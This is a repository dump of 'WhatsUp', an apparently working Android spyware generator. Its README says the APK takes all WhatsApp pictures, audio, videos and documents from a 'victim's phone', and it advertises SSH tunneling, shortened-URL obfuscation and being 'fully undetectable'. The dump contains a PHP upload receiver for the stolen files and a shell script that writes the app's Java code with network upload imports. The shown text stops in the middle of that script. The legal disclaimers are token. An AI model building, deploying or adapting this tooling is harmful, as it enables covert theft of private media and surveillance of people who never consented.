├── README.md ├── app ├── app │ ├── build.gradle │ ├── libs │ │ ├── activation.jar │ │ ├── additionnal.jar │ │ ├── commons-collections4-4.2.jar │ │ ├── commons-io-2.6.jar │ │ └── mail.jar │ ├── proguard-rules.pro │ └── src │ │ └── main │ │ ├── AndroidManifest.xml │ │ └── res │ │ ├── drawable │ │ ├── arrow.png │ │ ├── backspace.png │ │ ├── downleft.png │ │ ├── keyback.xml │ │ └── up.png │ │ ├── layout │ │ └── activity_main.xml │ │ ├── mipmap-hdpi │ │ └── ic_launcher.png │ │ ├── mipmap-mdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxxhdpi │ │ └── ic_launcher.png │ │ └── values │ │ └── strings.xml ├── build.gradle ├── build │ └── intermediates │ │ └── lint-cache │ │ ├── api-versions-8-28.bin │ │ ├── typos-de.txt-2.bin │ │ ├── typos-en.txt-2.bin │ │ ├── typos-es.txt-2.bin │ │ ├── typos-hu.txt-2.bin │ │ ├── typos-it.txt-2.bin │ │ ├── typos-nb.txt-2.bin │ │ ├── typos-pt.txt-2.bin │ │ └── typos-tr.txt-2.bin ├── gradle.properties ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── key.keystore ├── local.properties ├── settings.gradle └── upload_files.php ├── image.jpg └── whatsup.sh /README.md: -------------------------------------------------------------------------------- 1 | # WhatsUp v1.1 2 | A toool to generate an android apk to get access to all WhatsApp media (pictures, audios, videos, documents) from victim's phone. 3 | 4 | ## Instagram: https://instagram.com/programemerz 5 | 6 | ![](image.jpg) 7 | 8 | 9 | ### Features: 10 | #### Port Forwarding using SSH Tunneling with Serveo.net 11 | #### Obfuscated URL by Tinyurl 12 | #### FUD (F)ully Undetectable 13 | 14 | ## Legal disclaimer: 15 | 16 | Usage of WhatsUp for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 17 | 18 | 19 | ### Installing on Kali Linux: 20 | ``` 21 | Install dependencies: 22 | # apt-get update 23 | # apt-get install openjdk-8-jdk 24 | # apt-get install gradle 25 | 26 | Use Java8: 27 | Get Java8 dir with command: 28 | # update-alternatives --list java 29 | 30 | Copy and replace dir on command: 31 | # update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 32 | 33 | Download Android Studio: 34 | https://developer.android.com/studio 35 | 36 | Installing Android Studio: 37 | # unzip ~/Downloads/android*.zip -d /opt 38 | 39 | For AMD64 Arch, Install Android Studio dependencies: 40 | # apt-get install lib32z1 lib32ncurses6 lib32stdc++6 41 | 42 | 43 | Run Android Studio: 44 | # cd /opt/android-studio/bin 45 | # ./studio.sh 46 | 47 | Go to SDK Manager (Configure -> SDK Manager) and Download: 48 | Android SDK Build-tools, Android SDK-tools, Android SDK platform-tools, Support Repository 49 | 50 | Run script: 51 | # git clone https://github.com/programemerz/whatsup 52 | # cd whatsup/ 53 | # bash whatsup.sh 54 | 55 | 56 | On First Time, Choose "n" when asks to build, then open the project on Android Studio: 57 | cd /opt/android-studio/bin 58 | ./studio.sh 59 | 60 | Import Gradle Project: 61 | Choose whatsup app folder: whatsup/app/ 62 | 63 | Wait all dependencies downloading, if you got errors, click on showed links to solve. 64 | Try build from Android Studio: Build > build APK's 65 | Click on showed links if you got errors. 66 | Close Android after building successfully. 67 | 68 | open with any Text Editor the file app/build.gradle 69 | 70 | remove "google()" 71 | change gradle version from: 3.4.1 to: 2.2.0 72 | save and exit. 73 | 74 | Run script (as root): 75 | # bash whatsup.sh 76 | ``` 77 | -------------------------------------------------------------------------------- /app/app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 25 5 | buildToolsVersion "25.0.1" 6 | defaultConfig { 7 | applicationId "com.whatshack" 8 | minSdkVersion 16 9 | targetSdkVersion 25 10 | versionCode 1 11 | versionName "1.0" 12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 13 | } 14 | buildTypes { 15 | release { 16 | minifyEnabled false 17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 18 | } 19 | } 20 | } 21 | android { 22 | lintOptions { 23 | abortOnError false 24 | } 25 | } 26 | 27 | dependencies { 28 | compile fileTree(include: ['*.jar'], dir: 'libs') 29 | androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', { 30 | exclude group: 'com.android.support', module: 'support-annotations' 31 | }) 32 | compile 'com.android.support:appcompat-v7:25.1.0' 33 | testCompile 'junit:junit:4.12' 34 | compile files('libs/activation.jar') 35 | compile files('libs/additionnal.jar') 36 | compile files('libs/mail.jar') 37 | compile files('libs/commons-collections4-4.2.jar') 38 | compile files('libs/commons-io-2.6.jar') 39 | 40 | compile 'com.android.support:cardview-v7:25.0.0' 41 | } 42 | -------------------------------------------------------------------------------- /app/app/libs/activation.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/libs/activation.jar -------------------------------------------------------------------------------- /app/app/libs/additionnal.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/libs/additionnal.jar -------------------------------------------------------------------------------- /app/app/libs/commons-collections4-4.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/libs/commons-collections4-4.2.jar -------------------------------------------------------------------------------- /app/app/libs/commons-io-2.6.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/libs/commons-io-2.6.jar -------------------------------------------------------------------------------- /app/app/libs/mail.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/libs/mail.jar -------------------------------------------------------------------------------- /app/app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | #proguard-rules 2 | -------------------------------------------------------------------------------- /app/app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/drawable/arrow.png -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/backspace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/drawable/backspace.png -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/downleft.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/drawable/downleft.png -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/keyback.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/drawable/up.png -------------------------------------------------------------------------------- /app/app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | App 3 | Hello! 4 | Settings 5 | MainActivity 6 | 7 | 8 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | 3 | buildscript { 4 | repositories { 5 | jcenter() 6 | } 7 | dependencies { 8 | classpath 'com.android.tools.build:gradle:2.2.0' 9 | 10 | // NOTE: Do not place your application dependencies here; they belong 11 | // in the individual module build.gradle files 12 | } 13 | } 14 | 15 | allprojects { 16 | repositories { 17 | jcenter() 18 | } 19 | } 20 | 21 | task clean(type: Delete) { 22 | delete rootProject.buildDir 23 | } 24 | -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/api-versions-8-28.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/api-versions-8-28.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-de.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-de.txt-2.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-en.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-en.txt-2.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-es.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-es.txt-2.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-hu.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-hu.txt-2.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-it.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-it.txt-2.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-nb.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-nb.txt-2.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-pt.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-pt.txt-2.bin -------------------------------------------------------------------------------- /app/build/intermediates/lint-cache/typos-tr.txt-2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/build/intermediates/lint-cache/typos-tr.txt-2.bin -------------------------------------------------------------------------------- /app/gradle.properties: -------------------------------------------------------------------------------- 1 | # Project-wide Gradle settings. 2 | 3 | # IDE (e.g. Android Studio) users: 4 | # Gradle settings configured through the IDE *will override* 5 | # any settings specified in this file. 6 | 7 | # For more details on how to configure your build environment visit 8 | # http://www.gradle.org/docs/current/userguide/build_environment.html 9 | 10 | # Specifies the JVM arguments used for the daemon process. 11 | # The setting is particularly useful for tweaking memory settings. 12 | # When configured, Gradle will run in incubating parallel mode. 13 | # This option should only be used with decoupled projects. More details, visit 14 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 15 | # org.gradle.parallel=true 16 | -------------------------------------------------------------------------------- /app/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /app/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Mon Dec 28 10:00:20 PST 2015 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.14.1-all.zip 7 | -------------------------------------------------------------------------------- /app/gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 10 | DEFAULT_JVM_OPTS="" 11 | 12 | APP_NAME="Gradle" 13 | APP_BASE_NAME=`basename "$0"` 14 | 15 | # Use the maximum available, or set MAX_FD != -1 to use that value. 16 | MAX_FD="maximum" 17 | 18 | warn ( ) { 19 | echo "$*" 20 | } 21 | 22 | die ( ) { 23 | echo 24 | echo "$*" 25 | echo 26 | exit 1 27 | } 28 | 29 | # OS specific support (must be 'true' or 'false'). 30 | cygwin=false 31 | msys=false 32 | darwin=false 33 | case "`uname`" in 34 | CYGWIN* ) 35 | cygwin=true 36 | ;; 37 | Darwin* ) 38 | darwin=true 39 | ;; 40 | MINGW* ) 41 | msys=true 42 | ;; 43 | esac 44 | 45 | # Attempt to set APP_HOME 46 | # Resolve links: $0 may be a link 47 | PRG="$0" 48 | # Need this for relative symlinks. 49 | while [ -h "$PRG" ] ; do 50 | ls=`ls -ld "$PRG"` 51 | link=`expr "$ls" : '.*-> \(.*\)$'` 52 | if expr "$link" : '/.*' > /dev/null; then 53 | PRG="$link" 54 | else 55 | PRG=`dirname "$PRG"`"/$link" 56 | fi 57 | done 58 | SAVED="`pwd`" 59 | cd "`dirname \"$PRG\"`/" >/dev/null 60 | APP_HOME="`pwd -P`" 61 | cd "$SAVED" >/dev/null 62 | 63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 64 | 65 | # Determine the Java command to use to start the JVM. 66 | if [ -n "$JAVA_HOME" ] ; then 67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 68 | # IBM's JDK on AIX uses strange locations for the executables 69 | JAVACMD="$JAVA_HOME/jre/sh/java" 70 | else 71 | JAVACMD="$JAVA_HOME/bin/java" 72 | fi 73 | if [ ! -x "$JAVACMD" ] ; then 74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 75 | 76 | Please set the JAVA_HOME variable in your environment to match the 77 | location of your Java installation." 78 | fi 79 | else 80 | JAVACMD="java" 81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 82 | 83 | Please set the JAVA_HOME variable in your environment to match the 84 | location of your Java installation." 85 | fi 86 | 87 | # Increase the maximum file descriptors if we can. 88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then 89 | MAX_FD_LIMIT=`ulimit -H -n` 90 | if [ $? -eq 0 ] ; then 91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 92 | MAX_FD="$MAX_FD_LIMIT" 93 | fi 94 | ulimit -n $MAX_FD 95 | if [ $? -ne 0 ] ; then 96 | warn "Could not set maximum file descriptor limit: $MAX_FD" 97 | fi 98 | else 99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 100 | fi 101 | fi 102 | 103 | # For Darwin, add options to specify how the application appears in the dock 104 | if $darwin; then 105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 106 | fi 107 | 108 | # For Cygwin, switch paths to Windows format before running java 109 | if $cygwin ; then 110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 112 | JAVACMD=`cygpath --unix "$JAVACMD"` 113 | 114 | # We build the pattern for arguments to be converted via cygpath 115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 116 | SEP="" 117 | for dir in $ROOTDIRSRAW ; do 118 | ROOTDIRS="$ROOTDIRS$SEP$dir" 119 | SEP="|" 120 | done 121 | OURCYGPATTERN="(^($ROOTDIRS))" 122 | # Add a user-defined pattern to the cygpath arguments 123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 125 | fi 126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 127 | i=0 128 | for arg in "$@" ; do 129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 131 | 132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 134 | else 135 | eval `echo args$i`="\"$arg\"" 136 | fi 137 | i=$((i+1)) 138 | done 139 | case $i in 140 | (0) set -- ;; 141 | (1) set -- "$args0" ;; 142 | (2) set -- "$args0" "$args1" ;; 143 | (3) set -- "$args0" "$args1" "$args2" ;; 144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 150 | esac 151 | fi 152 | 153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules 154 | function splitJvmOpts() { 155 | JVM_OPTS=("$@") 156 | } 157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS 158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" 159 | 160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@" 161 | -------------------------------------------------------------------------------- /app/gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 12 | set DEFAULT_JVM_OPTS= 13 | 14 | set DIRNAME=%~dp0 15 | if "%DIRNAME%" == "" set DIRNAME=. 16 | set APP_BASE_NAME=%~n0 17 | set APP_HOME=%DIRNAME% 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windowz variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | if "%@eval[2+2]" == "4" goto 4NT_args 53 | 54 | :win9xME_args 55 | @rem Slurp the command line arguments. 56 | set CMD_LINE_ARGS= 57 | set _SKIP=2 58 | 59 | :win9xME_args_slurp 60 | if "x%~1" == "x" goto execute 61 | 62 | set CMD_LINE_ARGS=%* 63 | goto execute 64 | 65 | :4NT_args 66 | @rem Get arguments from the 4NT Shell from JP Software 67 | set CMD_LINE_ARGS=%$ 68 | 69 | :execute 70 | @rem Setup the command line 71 | 72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 73 | 74 | @rem Execute Gradle 75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 76 | 77 | :end 78 | @rem End local scope for the variables with windows NT shell 79 | if "%ERRORLEVEL%"=="0" goto mainEnd 80 | 81 | :fail 82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 83 | rem the _cmd.exe /c_ return code! 84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 85 | exit /b 1 86 | 87 | :mainEnd 88 | if "%OS%"=="Windows_NT" endlocal 89 | 90 | :omega 91 | -------------------------------------------------------------------------------- /app/key.keystore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/app/key.keystore -------------------------------------------------------------------------------- /app/local.properties: -------------------------------------------------------------------------------- 1 | sdk.dir=/root/Android/Sdk 2 | -------------------------------------------------------------------------------- /app/settings.gradle: -------------------------------------------------------------------------------- 1 | include ':app' 2 | -------------------------------------------------------------------------------- /app/upload_files.php: -------------------------------------------------------------------------------- 1 | >" . $target_path . $_FILES['error'] . " \r\n", 3, 6 | "Log.log"); 7 | 8 | error_log("Upload File >>" . basename($_FILES['uploadedfile']['name']) . " \r\n", 9 | 3, "Log.log"); 10 | 11 | if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 12 | echo "The file " . basename($_FILES['uploadedfile']['name']) . 13 | " has been uploaded"; 14 | } else { 15 | echo "There was an error uploading the file, please try again!"; 16 | } 17 | ?> 18 | -------------------------------------------------------------------------------- /image.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/whatsup/b810432dc9826e2a6f47370d36042ded8c58b797/image.jpg -------------------------------------------------------------------------------- /whatsup.sh: -------------------------------------------------------------------------------- 1 | host="" #Serveo.net 2 | 3 | trap 'printf "\n";stop' 2 4 | 5 | stop() { 6 | 7 | if [[ $checkphp == *'php'* ]]; then 8 | killall -2 php > /dev/null 2>&1 9 | fi 10 | if [[ $checkssh == *'ssh'* ]]; then 11 | killall -2 ssh > /dev/null 2>&1 12 | fi 13 | exit 1 14 | 15 | 16 | } 17 | 18 | dependencies() { 19 | 20 | 21 | command -v apksigner > /dev/null 2>&1 || { echo >&2 "I require apksigner but it's not installed. Install it. Aborting."; 22 | exit 1; } 23 | command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; } 24 | command -v ssh > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; 25 | exit 1; } 26 | 27 | command -v gradle > /dev/null 2>&1 || { echo >&2 "I require gradle but it's not installed. Install it. Aborting."; 28 | exit 1; } 29 | 30 | } 31 | 32 | banner() { 33 | 34 | 35 | printf "\e[1;93m __ __ _ _ \n" 36 | printf " / / /\ \ \ |__ __ _| |_ ___ /\ /\ _ __ \n" 37 | printf " \ \/ \/ / '_ \ / _' | __/ __/ / \ \ '_ \ \n" 38 | printf " \ /\ /| | | | (_| | |_\__ \ \_/ / |_) |\n" 39 | printf " \/ \/ |_| |_|\__,_|\__|___/\___/| .__/ \n" 40 | printf " |_| \e[0m\n" 41 | printf " \e[1;91m Disclaimer: this tool is designed for security\n" 42 | printf " testing in an authorized simulated cyberattack\n" 43 | printf " Attacking targets without prior mutual consent\n" 44 | printf " is illegal!\n" 45 | printf "\n" 46 | } 47 | 48 | createapp() { 49 | 50 | lazy='\' 51 | 52 | if [[ ! -d app/app/src/main/java/com/whatsup/ ]]; then 53 | mkdir -p app/app/src/main/java/com/whatsup/ 54 | fi 55 | 56 | printf "package com.whatsup;\n" > app/app/src/main/java/com/whatsup/MainActivity.java 57 | 58 | printf "import android.content.pm.PackageManager;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 59 | printf "import android.app.Activity;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 60 | printf "import android.support.v4.app.ActivityCompat;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 61 | printf "import android.support.v4.content.ContextCompat;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 62 | printf "import android.support.v7.app.AppCompatActivity;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 63 | printf "import java.io.DataInputStream;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 64 | printf "import java.io.DataOutputStream;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 65 | printf "import java.io.File;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 66 | printf "import java.io.FileInputStream;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 67 | printf "import java.io.IOException;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 68 | printf "import java.net.HttpURLConnection;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 69 | printf "import java.net.URL;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 70 | printf "import android.annotation.SuppressLint;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 71 | printf "import android.app.Activity;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 72 | printf "import android.content.Intent;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 73 | printf "import android.net.Uri;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 74 | printf "import android.os.Bundle;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 75 | printf "import android.os.StrictMode;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 76 | printf "import android.util.Log;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 77 | printf "import android.view.Menu;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 78 | printf "import android.view.MenuItem;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 79 | printf "import android.widget.Toast;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 80 | printf "import org.apache.commons.io.FileUtils;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 81 | printf "import org.apache.commons.io.filefilter.TrueFileFilter;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 82 | printf "import java.io.IOException;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 83 | printf "import java.util.List;\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 84 | printf "@SuppressLint(\"NewApi\")\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 85 | printf "public class MainActivity extends Activity\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 86 | printf " {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 87 | 88 | printf "@Override\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 89 | printf "protected void onCreate(Bundle savedInstanceState)\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 90 | printf "{\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 91 | printf " super.onCreate(savedInstanceState);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 92 | printf " setContentView(R.layout.activity_main);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 93 | printf " StrictMode.ThreadPolicy policy=new StrictMode.ThreadPolicy.Builder().permitAll().build();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 94 | printf " StrictMode.setThreadPolicy(policy);\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 95 | 96 | printf " try {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 97 | printf "checkperm();\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 98 | printf " } catch (Exception e) {\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 99 | printf " }\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 100 | 101 | printf "}\n" >> app/app/src/main/java/com/whatsup/MainActivity.java 102 | 103 | 104 | 105 | printf "public void checkperm() {\n" >> 